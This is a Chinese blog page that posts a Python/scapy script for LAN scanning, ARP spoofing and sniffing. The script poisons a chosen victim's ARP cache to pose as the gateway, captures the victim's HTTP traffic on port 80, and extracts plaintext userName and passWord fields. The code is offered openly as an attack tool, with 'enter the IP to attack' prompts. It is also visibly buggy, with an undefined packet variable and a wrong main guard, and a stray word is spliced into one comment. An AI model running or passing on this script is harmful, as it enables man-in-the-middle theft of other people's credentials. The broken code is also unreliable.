首页 > 编程语言 >python 嗅探

python 嗅探

时间:2022-11-13 18:12:27浏览次数:51  
标签:tcap python 嗅探 MAC result ff print import

import time

import re

import os

from scapy.all import *

from threading import Thread

#定义变量函数

wifi='RNDIS'

rtable=os.popen('route print').read()

print(rtable)

#注意将列表转为字符串

getway=re.findall(r'0.0.0.0\s+0.0.0.0\s+(\S+)\s',rtable)[0]

print(getway)

#局域网扫描

def scan():

    #SR()函数用来来发送数据包和接收响应,他会返回两个列表数据,一个是answer list 另一个是unanswered list

    #公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标富贵论坛MAC地址,pdst=目标IP地址,op=2)

    ans,unans=srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=getway+'/24'),timeout=1)

    print('一共扫描到%d个主机:'%len(ans))

    for i in ans:

        print(i)

    for a in unans:

        print(a)

#找用户名和密码

def paw():

    try:

        if p.haslayer(Raw):

            ss=p.load.decode()

            result=re.findall(r'userName=(.+)&passWord=(.+)',ss)

        if result:

            print('user:',result[0][0])

            print('pass:',result[0][1])

    except:

        pass

    print(sniff(count=100, iface="RNDIS"))

#抓包

def capture(tip,tcap):

    #冒充自己为网关

    pkts=sniff(iface=wifi,timeout=tcap,filter='tcp port 80 and src host %s'%tip,prn=paw)

    return pkts

    #arp欺骗攻击

def arpspoof(tip,tcap):

    t=Thread(target=capture,args=(tip,tcap))

    t.start()

    for i in range(tcap*5):

        sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=getway))

        time.sleep(0.2)

    print('结束')

if __name__=='main':

    scan()

    target=input('输入要攻击的ip地址:').strip()

    tl=int(input('输入要准备攻击的时间:').strip())

    arpspoof(target,tl)

    print('攻击结束!')

 

标签:tcap,python,嗅探,MAC,result,ff,print,import
From: https://www.cnblogs.com/xkdn/p/16886472.html

相关文章

  • Python 处理Protobuf协议
    安装protobuf使用HomeBrew安装Protobuf:brew install protobuf查看是否安装成功protoc --version进入文件路径命令行执行protoc--python_out=././HT_mo......
  • Python正则表达式入门
    Python正则表达式入门文章目录​​Python正则表达式入门​​​​1、在Python中使用正则表达式​​​​2、最基础正则表达式​​​​3、正则匹配函数​​​​正则表达式的字......
  • 学习python-Day87
    一、前台首页组件编写需要创建4个组件HomeView.vue页面组件Header.vue头部组件Banner.vue轮播图组件Footer.vue尾部组件1.HomeView.vue<template><di......
  • Python爬虫之简单爬虫之爬取英雄联盟官网的英雄的皮肤
    Python爬虫之简单爬虫之爬取英雄联盟官网的英雄的皮肤文章目录​​Python爬虫之简单爬虫之爬取英雄联盟官网的英雄的皮肤​​​​背景:LOL这款游戏有着大量的玩家,这个游戏里......
  • Python爬虫之爬取绝对领域美女图片
    Python爬虫之爬取绝对领域美女图片第一步:导入模块:importrequestsfromlxmlimportetree第二步:定义函数:defget_url(start_url):response=requests.get(start_url)d......
  • Python之递归函数与装饰器
    Python之递归函数与装饰器文章目录​​Python之递归函数与装饰器​​​​递归的含义:​​​​python中的时间模块​​​​装饰器​​递归函数在函数内部,可以调用其他函数。如......
  • Python之selenium的打开浏览器的二种方式
    Python之selenium的打开浏览器的二种方式文章目录​​Python之selenium的打开浏览器的二种方式​​​​第一步我们要先按照selenium:​​​​第一种打开方式:​​​​第二种......
  • Python如何使用XPath对HTMl内容解析,,玩转XPath
    Python如何使用XPath对HTMl内容解析文章目录​​Python如何使用XPath对HTMl内容解析​​​​HTMl内容解析​​​​HTML基础:​​​​什么是XPath:​​​​lxml的安装​​​​......
  • (Python)简易通讯录
    问题描述:将用户输入用逗号分隔的一系列人名作为键,用户输入的逗号分隔的手机号作为值,创建字典MyDict,输入一个正整数n,你将被要求读入n个输入(输入形式如下所示),每得到一......
  • python元祖
    元祖里是数据是固定的,不能修改1str_tuple=('dew','','as')23int_tuple=(1,2,4,5,4)45float_tuple=(1.1,20.3,23.9)67bool_tuple=(True,Fals......